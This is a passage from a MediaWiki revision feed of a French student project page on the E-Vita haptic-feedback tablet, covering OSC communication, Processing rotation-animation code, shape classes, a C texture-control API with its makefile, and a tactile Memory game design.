Un passage dans le domaine fréquentiel permettrait de généralisé le calcul des valeurs de retour. Ainsi qu'une représentation plus formelle du problème.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
=Cahier des charges=&lt;br /&gt;
&lt;br /&gt;
Établir une représentation visuel d'un mouvement de rotation sur une application de verrrouillage/dévérouillage par code/retour tactile.&lt;br /&gt;
&lt;br /&gt;
Concevoir une librairies facilitant la programmation d'application utilisant le retour tactile.&lt;br /&gt;
&lt;br /&gt;
=Avancé du travail=&lt;br /&gt;
Afin d’appréhender le problème facilement j'ai commencé par représenter un segment en direction du chiffre en cours de sélection. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ligne_numero_1.png|500px|left]][[Fichier:Ligne_numero_6.png|500px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le code correspondant est un classique switch/case inscrit dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
    switch (currentNumber){&lt;br /&gt;
    case 1:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,116,800-552);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 2:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,239,800-676);&lt;br /&gt;
      break;&lt;br /&gt;
    case 3:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,384,800-558);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 4:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,381,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  &lt;br /&gt;
    case 5:&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
      line(240,340,237,800-257);&lt;br /&gt;
      break;&lt;br /&gt;
    case 6:&lt;br /&gt;
    &lt;br /&gt;
     fill(255, 0, 0);&lt;br /&gt;
      line(240,340,98,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je décide donc de réaliser un cercle autour du bouton &amp;quot;OK&amp;quot; avec 4 segments permettant d'observer une rotation du cercle toujours dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333); // On place le référentiel au centre du bouton &amp;quot;OK&amp;quot;&lt;br /&gt;
     &lt;br /&gt;
      rotate(direction * millis() * 0.001 * TWO_PI / 1O.0);   // Créer une rotation de 360° en 10 secondes.&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145); &lt;br /&gt;
      line(75,0,90,0);&lt;br /&gt;
      line(-75,0,-90,0);&lt;br /&gt;
      line(0,75,0,90);&lt;br /&gt;
      line(0,-75,0,-90);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Pour l'instant la rotation se fait sans arrêt, cela ne convient qu'a moitié, mais elle permet tout de même de tourner plus vite si jamais on appuie plus d'une fois sur une des flèches jaunes.&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir une solution plus adéquate divers variables globales sont utilisées :&lt;br /&gt;
&lt;br /&gt;
 int direction = 0;       // Sens de direction rotation 0 = fixe / +n = décalage trigo / -n = décalage anti-trigo&lt;br /&gt;
 int nb_frame = 0;        // Enregistre le nombre de frame lorque l'on appuie sur une des flèches.&lt;br /&gt;
 float phi = 0.;          // Sert contient le calcul de la phase pour la rotation.&lt;br /&gt;
&lt;br /&gt;
La variable direction est modifié à chaque appuie sur une des deux flèches jaunes. Elle incrémente un compteur qui reset à chaque fin de rotation.&lt;br /&gt;
La rotation est rendu possible grâce au combo pushMatrix()/popMatrix() elle me permet d'afficher 6 segments séparés d'un angle de pi/3. &lt;br /&gt;
La variable phi correspond à la phase du premier segment, c'est cet élémént qui réalise réellement la rotation.&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333);                                               // Centrage sur &amp;quot;OK&amp;quot;&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145);&lt;br /&gt;
      if (frameCount &amp;lt; nb_frame +60){                                    // Calcul de la position du premier segment&lt;br /&gt;
         phi = direction * ((nb_frame-frameCount)/60.) * PI/3;           // Le frameRate est fixé à 60 itérations/s&lt;br /&gt;
      }else{&lt;br /&gt;
        direction =0;                                                    // Reset de la variable d'appui&lt;br /&gt;
      }&lt;br /&gt;
      //Creation des segments&lt;br /&gt;
      for (int i=0; i&amp;lt;6; i++){                                           // Cette boucle permet donc de créer les 6 segments et de donner l'impression qu'il tourne autour du cercle &lt;br /&gt;
        pushMatrix();&lt;br /&gt;
        rotate(phi + i*PI/3);&lt;br /&gt;
        line(75,0,90,0);&lt;br /&gt;
        popMatrix();&lt;br /&gt;
      }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Une animation est disponible au lien suivant : &lt;br /&gt;
[[Fichier: Rotation_propre.mp4|500px|center| Rotation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Boite à outils Haut Niveau==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Afin de créer un polymorphisme des classe Trectangle et Tcircle, cela permettra de créer une méthode sendControl général pour toute les classes.&lt;br /&gt;
&lt;br /&gt;
Conception des classes représentant les motifs élémentaires.&lt;br /&gt;
Conception des méthodes isIn : permet de savoir si un point de coordonnée x,y est contenu dans le motif.&lt;br /&gt;
Conception des méthodes dessiner : permet de dessiner le motif élémentaire&lt;br /&gt;
Première réflexions sur un la création d'un ensemble de motif élémentaire via un hashMap.&lt;br /&gt;
&lt;br /&gt;
===La classe abstraite Tforme ===&lt;br /&gt;
&lt;br /&gt;
 abstract class Tforme{&lt;br /&gt;
   String ensemble;&lt;br /&gt;
   int motif;&lt;br /&gt;
   void addMotif(int iMotif){&lt;br /&gt;
      motif = iMotif;&lt;br /&gt;
    }&lt;br /&gt;
   &lt;br /&gt;
   void sendControl(){&lt;br /&gt;
     println(motif);&lt;br /&gt;
   }&lt;br /&gt;
   &lt;br /&gt;
   abstract boolean isIn(int xpos, int ypos);&lt;br /&gt;
   abstract void dessiner();&lt;br /&gt;
   &lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
===La classe Trectangle===&lt;br /&gt;
&lt;br /&gt;
 class Trectangle extends Tforme{&lt;br /&gt;
  int x1, y1, x2, y2;&lt;br /&gt;
  &lt;br /&gt;
  Trectangle(int xpos, int ypos, int hauteur, int largeur){&lt;br /&gt;
    x1 = xpos;&lt;br /&gt;
    x2 = xpos + hauteur;&lt;br /&gt;
    y1 = ypos;&lt;br /&gt;
    y2 = ypos + largeur;&lt;br /&gt;
  }&lt;br /&gt;
    void dessiner(){&lt;br /&gt;
      rect(x1,y1,x2,y2);&lt;br /&gt;
    }  &lt;br /&gt;
    &lt;br /&gt;
    boolean isIn(int xpos, int ypos){&lt;br /&gt;
      if (xpos &amp;gt; x1 &amp;amp;&amp;amp; xpos &amp;lt; x2 &amp;amp;&amp;amp; ypos &amp;gt; y1 &amp;amp;&amp;amp; ypos &amp;lt; y2){&lt;br /&gt;
        return true;&lt;br /&gt;
      }else{&lt;br /&gt;
          return false;&lt;br /&gt;
       }&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    void setEnsemble(String ensemble){&lt;br /&gt;
      this.ensemble = ensemble;&lt;br /&gt;
      // rajoute une entree dans la HashMap&lt;br /&gt;
    }&lt;br /&gt;
 }  &lt;br /&gt;
&lt;br /&gt;
===La classe Tcircle===&lt;br /&gt;
&lt;br /&gt;
 class Tcircle extends Tforme{&lt;br /&gt;
  int x,y;&lt;br /&gt;
  int radius;&lt;br /&gt;
   Tcircle(int xpos, int ypos, int rayon){&lt;br /&gt;
     x = xpos;&lt;br /&gt;
     y = ypos;&lt;br /&gt;
     radius = rayon;&lt;br /&gt;
   }&lt;br /&gt;
   void dessiner(){&lt;br /&gt;
     ellipseMode(CENTER);&lt;br /&gt;
     ellipse((float)x, (float)y, (float)radius, (float)radius);&lt;br /&gt;
   }&lt;br /&gt;
   boolean isIn(int xpos, int ypos){&lt;br /&gt;
     float dist = sqrt(pow(x - xpos,2) + pow(y-ypos,2));&lt;br /&gt;
     if (dist &amp;lt;= radius){&lt;br /&gt;
     return true;&lt;br /&gt;
     }else{&lt;br /&gt;
       return false;&lt;br /&gt;
     }&lt;br /&gt;
   }&lt;br /&gt;
   &lt;br /&gt;
   void setEnsemble(String ensemble){&lt;br /&gt;
     this.ensemble = ensemble;&lt;br /&gt;
   }&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Fonction de Rotation===&lt;br /&gt;
&lt;br /&gt;
Il est facilement imaginable qu'un développeur aura besoin de manipuler ses objet dans l'espace et donc de vouloir en modifier leur angle.&lt;br /&gt;
L'outil processing permet de réalise une rotation via la commande&lt;br /&gt;
&lt;br /&gt;
 rotate()&lt;br /&gt;
&lt;br /&gt;
Ayant utilisé plusieurs configuration, je ne parviens pas à obtenir une rotation depuis le centre de l'élément.&lt;br /&gt;
&lt;br /&gt;
Photo 1&lt;br /&gt;
&lt;br /&gt;
Malgrès mes essais avec l'option RectMode() qui permet de définir un rectangle depuis son centre, je n'aboutit toujours pas.&lt;br /&gt;
&lt;br /&gt;
Photo 2&lt;br /&gt;
&lt;br /&gt;
Il me semble donc obligatoire d'utiliser un peu de trigonométrie :&lt;br /&gt;
&lt;br /&gt;
Photo table de vérité + Représentation schématique&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Boite à Outils Bas Niveau==&lt;br /&gt;
&lt;br /&gt;
Afin de porter le développement vers le plus de langage possible, la boite à outils contient une base faite en C.&lt;br /&gt;
Cela permet grâce à des outils de type ''Java Nativ Interface'' de compiler la boite à outils bas niveau directement dans un langage plus adapté à la programmation graphique.&lt;br /&gt;
&lt;br /&gt;
On manipule donc nos structure en C en rendant publique les méthodes :&lt;br /&gt;
&lt;br /&gt;
 int startEvita();    // Initialisation &lt;br /&gt;
 void stopEvita();     &lt;br /&gt;
 &lt;br /&gt;
 void setTaxtTelRect(int id,int textureId, int x1, int y1, int x2, int y2);               //Définition forme géométrique où sera présente la texture : Taxtel&lt;br /&gt;
 void setTaxtTelEllipse(int id,int textureId, int x1, int y1, int x2, int y2, int r);     //Idem mais de manière elliptique&lt;br /&gt;
 void disableTaxtTel(int id, int textureId);                                              //Désactive le retour tactile pour la forme sélectionné&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 void setTextureRect(int textureId,float offset,float amplitude,float period,float ratio,char* speedFunc);     //Fonction définissant les texture possible : Signal Carré / Sinusoïde&lt;br /&gt;
 void setTextureCos(int textureId,float offset,float amplitude,float period, char* speedFunc);&lt;br /&gt;
 &lt;br /&gt;
 void registerCallbackPressed(void (*myfonction) (int x, int y));                  //Fonction permettant de choisir la méthode d'entrée voulu : Ecran Tactile, Souris,...&lt;br /&gt;
 void registerCallbackDragged(void (*myfonction) (int x, int y));&lt;br /&gt;
 void registerCallbackRelease(void (*myfonction)());&lt;br /&gt;
 void registerCallbackSpeed(void (*myfonction) (int speedX, int speedY));&lt;br /&gt;
 void registerCallbackTexture(void (*myfonction) (int signal, int period));&lt;br /&gt;
&lt;br /&gt;
Ces différentes fonction servirons de base pour tout programme utilisant la technologie du retour tactile.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et ci-dessous le makefile générant au choix une librairie statique/dynamique :&lt;br /&gt;
&lt;br /&gt;
 CC=gcc&lt;br /&gt;
 AR=ar&lt;br /&gt;
 EXEC=main&lt;br /&gt;
 SOURCE=libTextureControl.c&lt;br /&gt;
 OBJ=libTextureControl.o&lt;br /&gt;
 STATIC=libTextureControl.a&lt;br /&gt;
 DYNAMIC=libTextureControl.so&lt;br /&gt;
 HEAD=libTextureControl.h&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 clean:&lt;br /&gt;
 	rm -rf *.o *.a *.so *.out&lt;br /&gt;
 &lt;br /&gt;
 dynamic:$(DYNAMIC)&lt;br /&gt;
 	$(CC) main.c -L/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -I/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -lTextureControl -lm&lt;br /&gt;
 &lt;br /&gt;
 $(DYNAMIC):$(OBJ)&lt;br /&gt;
 	gcc -shared -o $(DYNAMIC) $(OBJ)&lt;br /&gt;
 &lt;br /&gt;
 $(OBJ):$(SOURCE)&lt;br /&gt;
 	gcc -c -fPIC $(SOURCE)&lt;br /&gt;
 &lt;br /&gt;
 install:&lt;br /&gt;
 	sudo mv $(STATIC) /usr/lib&lt;br /&gt;
 	sudo mv $(DYNAMIC) /usr/lib&lt;br /&gt;
 	sudo mv $(HEAD) /usr/include&lt;br /&gt;
 &lt;br /&gt;
 static:$(STATIC)&lt;br /&gt;
 	$(CC) main.c -L/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -I/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -lTextureControl -lm&lt;br /&gt;
 &lt;br /&gt;
 $(STATIC):$(OBJ)&lt;br /&gt;
 	$(AR) rcs $(STATIC) $(OBJ)&lt;br /&gt;
&lt;br /&gt;
== Application ==&lt;br /&gt;
&lt;br /&gt;
Afin de présenter la bibliothèque, j'ai développé une application mettant en valeur le retour tactile.&lt;br /&gt;
&lt;br /&gt;
Pour ceux, j'ai penser à réaliser le jeu &amp;quot;Memory&amp;quot;.&lt;br /&gt;
Le jeu se présente ainsi :&lt;br /&gt;
*On dspose un nombre pair de cartes face cachée.&lt;br /&gt;
*L'utilisateur en retourne une et découvre le symbole sur la face recto de la carte.&lt;br /&gt;
*L'utilisateur cherche donc la paire correspondante dans le jeu mais n'a qu'un seul essai avant que les deux cartes ne se retournent face verso.&lt;br /&gt;
*Grâce à sa mémoire et à la chance, il doit donc composé des paires de cartes qui se retirent du jeu quand une bonne pair est trouvé.&lt;br /&gt;
&lt;br /&gt;
J'ai adapté le jeu, afin que ce ne soit pas des symboles qui s'affichent sur le recto de la carte mais bien une texture tactile.&lt;br /&gt;
À la vue des contraintes, l'utilisateur devra validé sa paire avec un bouton adéquate.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peut structurer le jeu ainsi : &lt;br /&gt;
&lt;br /&gt;
*Initialisation du plateau de jeu (18 cartes face verso).&lt;br /&gt;
**Distribution aléatoire 18/2 textures&lt;br /&gt;
*Tant que toutes les paires ne sont pas trouvées&lt;br /&gt;
**Tirer la première carte&lt;br /&gt;
***Sentir le motif tactile&lt;br /&gt;
**Tirer la deuxième carte&lt;br /&gt;
***Sentir le motif tactile&lt;br /&gt;
**Valider&lt;br /&gt;
**Test des motifs &lt;br /&gt;
***Si texture équivalente -&amp;gt; Le joueur gagne 1 points, le nombre de coup joué prend +1 -&amp;gt; Les cartes sont retirés&lt;br /&gt;
***Si texture non-équivalente -&amp;gt; Le nombre de coup joué prend +1 -&amp;gt; les cartes sont remises faces verso.&lt;br /&gt;
*Fin tant que &lt;br /&gt;
*Affichage du nombre de coups joués + durée de la partie.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Menu jeu.png|350px|thumb|center]]&lt;br /&gt;
[[Fichier:Game.png|350px|thumb|center]]&lt;br /&gt;
[[Fichier:Pause.png|350px|thumb|center]]&lt;br /&gt;
[[Fichier:Win.png|350px|thumb|center]]&lt;/div&gt;</summary>
		<author><name>Pfitouss</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=39492</id>
		<title>P42 Dispositif à retour tactile</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=39492"/>
				<updated>2017-02-23T01:16:56Z</updated>
		
		<summary type="html">&lt;p&gt;Pfitouss : /* Application */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Contexte du sujet=&lt;br /&gt;
L'E-vita s'inscrit dans une nouvelle démarche en faveur de l'interface homme-machine.&lt;br /&gt;
Depuis des année la technologie exploite nos sens de différente manière, l'idée de faire répondre la machine et de se faire comprendre par l'utilisateur, est obligatoire au bon fonctionnement de programme et autre fonctions. L'ouï, la vue sont les sens les plus exploiter par la technologie depuis le commencement.&lt;br /&gt;
Mais depuis un long moment le toucher se répand sur les différents système afin de s'approcher au plus près de l'utilisateur, l'écran tactile s'inscrit donc dans une nouvelle ère technologique, où les machines ne sont plus contrôler via des interrupteur ou bouton, mais via les différentes possibilités du toucher sur un écran.&lt;br /&gt;
Noter cependant que si depuis très longtemps les écran nous transmettent des informations, que l'on arrive également à contrôler des système via le son (clap des mains pour éteindre la lumière), il n'existe pas de dispositif tactile qui fonctionne en duplex (Homme vers machine, machine vers homme).&lt;br /&gt;
&lt;br /&gt;
C'est dans ce contexte que le bureau d'étude de l'IRCICA met au point l'E-Vita, un dispositif tactile qui non seulement permet la communication d'un homme vers la machine mais qui est également capable de faire communiquer,grâce au toucher, la machine vers l'utilisateur.&lt;br /&gt;
Le projet E-Vita, lancé en 2003, est capable aujourd'hui, via différentes applications test, de faire ressentir à son utilisateur différentes formes d'ondes (motifs), via des céramiques piezo-electriques. La dalle se met à vibrer sous le doigt de l'utilisateur ainsi la machine communique avec son utilisateur.&lt;br /&gt;
&lt;br /&gt;
=Objectif du sujet=&lt;br /&gt;
L'objectif de ce Projet de fin d'étude, et de réétudier la loi de contrôle qui permet au µC de contrôler les céramiques.&lt;br /&gt;
Actuellement une couche hardware supérieur récupère le mouvement du doigt ainsi que sa vitesse afin de faire ressentir à l'utilisateur un motif, une vibration électronique unique, typiquement une forme d'onde. L'idée principale et de rajouter de la dynamique dans la commande des céramiques afin que les motif ne soit plus enregistrée en dur dans le micro-controleur. Une possibilité envisageable pour cette définition de motif ainsi que la transmission de l'ordre, et de passer dans le domaine fréquentielle.&lt;br /&gt;
Je citais plus haut que le dispositif se décompose en plusieurs couches matérielles et logicielles, afin de les faire communiquer une couche transport OSC est utilisé afin de faire communiquer le micro-controller et le Banana Pi. Seulement pour des raison évidentes lorsque la plaque vibre, il n'y a que la surface de contact qui se mets réellement à osciller, on a donc ici un soucis de delai entre le moment où l'utilisateur pose son doigt, se déplace, et le suivi de par le programme des zone de vibrations. Il est envisageable si le projet se déroule bien de pouvoir réétudier la question de la programmation événementielle de la tablette tactile, afin que se temps de latence soit le plus bas possible.&lt;br /&gt;
&lt;br /&gt;
==Protocole de communication OSC==&lt;br /&gt;
&lt;br /&gt;
Afin de faire la liaison entre le Banana Pi et le micro-controlleur, la couche liaison est réalisé grâce au protocole Open Sound Control.&lt;br /&gt;
OSC est un protocole créer afin de faciliter la transmission d'information multimédia sur un réseau.&lt;br /&gt;
Utilisé pour la transmission de musique cela s'adapte a notre transmission de fréquence pour la vibration des céramique.&lt;br /&gt;
Cette communication utilise les normes TCP et UDP pour la communication temps réel entre le serveur et le client. &lt;br /&gt;
&lt;br /&gt;
Les paquets sont transmis avec deux informations, la première information est la taille du paquet OCS et la deuxième le paquet lui-même.&lt;br /&gt;
La taille des paquets OCS sont toujours un multiple de 4. Cela permet un alignement des différents block transmis.&lt;br /&gt;
Le contenus d'un paquet peut soit être un OSC Messages ou un OSC Bundle&lt;br /&gt;
&lt;br /&gt;
Quand le serveur reçoit un simple OSC Message il doit s'empresser d'invoquer la méthode associé. &lt;br /&gt;
A la différence, le OSC Bundle qui comporte lui-même une identification de temps, la méthode devra être éxécuté si le Time-Tag du bundle est égal ou déjà passé, et à l'inverse devra stocker le bundle et lancé la méthode au bon moment si le Time-Tag indique un évèvenement futur.&lt;br /&gt;
&lt;br /&gt;
Cette réalisation permet un résultat temps réel sur l'application, entre le moment du contact entre le doigt et la tablette et l'action de vibration des céramiques.&lt;br /&gt;
&lt;br /&gt;
==Retour des valeurs d'amplitude sur la plaque piezo==&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui le contrôle des céramique se fait grâce à des fichiers écrits en &amp;quot;dur&amp;quot; dans le programme, chacun des ses fichiers se présente sous la forme d'un tableau de 10000 valeurs d'entier.&lt;br /&gt;
Un entier est composé de 4 octets, sachant que 4 formes d'ondes sont utilisées dans la gamme de fréquence (50, 100, 500, 1000, 5000, 10000).&lt;br /&gt;
Cela correspond donc à 6*4*4*10000 = 960 ko de mémoire utilisé. &lt;br /&gt;
&lt;br /&gt;
Une solution évidente serait de non pas récupérer la valeur dans un tableau mais bien de la calculer voir de la prédire en fonction du déplacement, de la dimension de l'écran, de la fréquence de rafraîchissement. &lt;br /&gt;
&lt;br /&gt;
 Signal Sinusoîdal -&amp;gt; sin(wt)&lt;br /&gt;
 Signal Carré -&amp;gt; x(t) = 1 , 0 &amp;lt; t &amp;lt;= T et 0, T &amp;lt; t &amp;lt; 2T.&lt;br /&gt;
 Signal dent de scie -&amp;gt; x(t) = t, 0 &amp;lt; t &amp;lt; 2T&lt;br /&gt;
 Signal Dirac&lt;br /&gt;
&lt;br /&gt;
Un passage dans le domaine fréquentiel permettrait de généralisé le calcul des valeurs de retour. Ainsi qu'une représentation plus formelle du problème.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
=Cahier des charges=&lt;br /&gt;
&lt;br /&gt;
Établir une représentation visuel d'un mouvement de rotation sur une application de verrrouillage/dévérouillage par code/retour tactile.&lt;br /&gt;
&lt;br /&gt;
Concevoir une librairies facilitant la programmation d'application utilisant le retour tactile.&lt;br /&gt;
&lt;br /&gt;
=Avancé du travail=&lt;br /&gt;
Afin d’appréhender le problème facilement j'ai commencé par représenter un segment en direction du chiffre en cours de sélection. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ligne_numero_1.png|500px|left]][[Fichier:Ligne_numero_6.png|500px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le code correspondant est un classique switch/case inscrit dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
    switch (currentNumber){&lt;br /&gt;
    case 1:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,116,800-552);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 2:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,239,800-676);&lt;br /&gt;
      break;&lt;br /&gt;
    case 3:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,384,800-558);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 4:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,381,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  &lt;br /&gt;
    case 5:&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
      line(240,340,237,800-257);&lt;br /&gt;
      break;&lt;br /&gt;
    case 6:&lt;br /&gt;
    &lt;br /&gt;
     fill(255, 0, 0);&lt;br /&gt;
      line(240,340,98,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je décide donc de réaliser un cercle autour du bouton &amp;quot;OK&amp;quot; avec 4 segments permettant d'observer une rotation du cercle toujours dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333); // On place le référentiel au centre du bouton &amp;quot;OK&amp;quot;&lt;br /&gt;
     &lt;br /&gt;
      rotate(direction * millis() * 0.001 * TWO_PI / 1O.0);   // Créer une rotation de 360° en 10 secondes.&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145); &lt;br /&gt;
      line(75,0,90,0);&lt;br /&gt;
      line(-75,0,-90,0);&lt;br /&gt;
      line(0,75,0,90);&lt;br /&gt;
      line(0,-75,0,-90);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Pour l'instant la rotation se fait sans arrêt, cela ne convient qu'a moitié, mais elle permet tout de même de tourner plus vite si jamais on appuie plus d'une fois sur une des flèches jaunes.&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir une solution plus adéquate divers variables globales sont utilisées :&lt;br /&gt;
&lt;br /&gt;
 int direction = 0;       // Sens de direction rotation 0 = fixe / +n = décalage trigo / -n = décalage anti-trigo&lt;br /&gt;
 int nb_frame = 0;        // Enregistre le nombre de frame lorque l'on appuie sur une des flèches.&lt;br /&gt;
 float phi = 0.;          // Sert contient le calcul de la phase pour la rotation.&lt;br /&gt;
&lt;br /&gt;
La variable direction est modifié à chaque appuie sur une des deux flèches jaunes. Elle incrémente un compteur qui reset à chaque fin de rotation.&lt;br /&gt;
La rotation est rendu possible grâce au combo pushMatrix()/popMatrix() elle me permet d'afficher 6 segments séparés d'un angle de pi/3. &lt;br /&gt;
La variable phi correspond à la phase du premier segment, c'est cet élémént qui réalise réellement la rotation.&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333);                                               // Centrage sur &amp;quot;OK&amp;quot;&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145);&lt;br /&gt;
      if (frameCount &amp;lt; nb_frame +60){                                    // Calcul de la position du premier segment&lt;br /&gt;
         phi = direction * ((nb_frame-frameCount)/60.) * PI/3;           // Le frameRate est fixé à 60 itérations/s&lt;br /&gt;
      }else{&lt;br /&gt;
        direction =0;                                                    // Reset de la variable d'appui&lt;br /&gt;
      }&lt;br /&gt;
      //Creation des segments&lt;br /&gt;
      for (int i=0; i&amp;lt;6; i++){                                           // Cette boucle permet donc de créer les 6 segments et de donner l'impression qu'il tourne autour du cercle &lt;br /&gt;
        pushMatrix();&lt;br /&gt;
        rotate(phi + i*PI/3);&lt;br /&gt;
        line(75,0,90,0);&lt;br /&gt;
        popMatrix();&lt;br /&gt;
      }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Une animation est disponible au lien suivant : &lt;br /&gt;
[[Fichier: Rotation_propre.mp4|500px|center| Rotation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Boite à outils Haut Niveau==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Afin de créer un polymorphisme des classe Trectangle et Tcircle, cela permettra de créer une méthode sendControl général pour toute les classes.&lt;br /&gt;
&lt;br /&gt;
Conception des classes représentant les motifs élémentaires.&lt;br /&gt;
Conception des méthodes isIn : permet de savoir si un point de coordonnée x,y est contenu dans le motif.&lt;br /&gt;
Conception des méthodes dessiner : permet de dessiner le motif élémentaire&lt;br /&gt;
Première réflexions sur un la création d'un ensemble de motif élémentaire via un hashMap.&lt;br /&gt;
&lt;br /&gt;
===La classe abstraite Tforme ===&lt;br /&gt;
&lt;br /&gt;
 abstract class Tforme{&lt;br /&gt;
   String ensemble;&lt;br /&gt;
   int motif;&lt;br /&gt;
   void addMotif(int iMotif){&lt;br /&gt;
      motif = iMotif;&lt;br /&gt;
    }&lt;br /&gt;
   &lt;br /&gt;
   void sendControl(){&lt;br /&gt;
     println(motif);&lt;br /&gt;
   }&lt;br /&gt;
   &lt;br /&gt;
   abstract boolean isIn(int xpos, int ypos);&lt;br /&gt;
   abstract void dessiner();&lt;br /&gt;
   &lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
===La classe Trectangle===&lt;br /&gt;
&lt;br /&gt;
 class Trectangle extends Tforme{&lt;br /&gt;
  int x1, y1, x2, y2;&lt;br /&gt;
  &lt;br /&gt;
  Trectangle(int xpos, int ypos, int hauteur, int largeur){&lt;br /&gt;
    x1 = xpos;&lt;br /&gt;
    x2 = xpos + hauteur;&lt;br /&gt;
    y1 = ypos;&lt;br /&gt;
    y2 = ypos + largeur;&lt;br /&gt;
  }&lt;br /&gt;
    void dessiner(){&lt;br /&gt;
      rect(x1,y1,x2,y2);&lt;br /&gt;
    }  &lt;br /&gt;
    &lt;br /&gt;
    boolean isIn(int xpos, int ypos){&lt;br /&gt;
      if (xpos &amp;gt; x1 &amp;amp;&amp;amp; xpos &amp;lt; x2 &amp;amp;&amp;amp; ypos &amp;gt; y1 &amp;amp;&amp;amp; ypos &amp;lt; y2){&lt;br /&gt;
        return true;&lt;br /&gt;
      }else{&lt;br /&gt;
          return false;&lt;br /&gt;
       }&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    void setEnsemble(String ensemble){&lt;br /&gt;
      this.ensemble = ensemble;&lt;br /&gt;
      // rajoute une entree dans la HashMap&lt;br /&gt;
    }&lt;br /&gt;
 }  &lt;br /&gt;
&lt;br /&gt;
===La classe Tcircle===&lt;br /&gt;
&lt;br /&gt;
 class Tcircle extends Tforme{&lt;br /&gt;
  int x,y;&lt;br /&gt;
  int radius;&lt;br /&gt;
   Tcircle(int xpos, int ypos, int rayon){&lt;br /&gt;
     x = xpos;&lt;br /&gt;
     y = ypos;&lt;br /&gt;
     radius = rayon;&lt;br /&gt;
   }&lt;br /&gt;
   void dessiner(){&lt;br /&gt;
     ellipseMode(CENTER);&lt;br /&gt;
     ellipse((float)x, (float)y, (float)radius, (float)radius);&lt;br /&gt;
   }&lt;br /&gt;
   boolean isIn(int xpos, int ypos){&lt;br /&gt;
